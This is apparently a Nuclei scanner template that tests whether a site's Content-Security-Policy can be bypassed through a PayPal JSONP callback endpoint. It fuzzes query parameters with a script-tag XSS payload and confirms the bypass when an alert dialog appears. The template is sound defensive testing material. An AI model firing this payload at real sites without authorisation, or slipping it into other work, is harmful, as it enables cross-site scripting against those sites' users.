id: paypal-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - PayPal API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,paypal-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "paypal.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: paypal_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <script src="https://www.paypal.com/checkoutnow/remembered?callback=alert"></script>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "paypal_api_csp_xss == true"
# digest: 4a0a004730450220092b7e2fbec181fcf64e000484fc5fbd7823502f42d52132dbb420c49e175582022100b208ffe8f29e16801dc1750deabac6a861a68bea7cf8b73d2e1b5f40828fb704:922c64590222798bb761d5b6d8e72950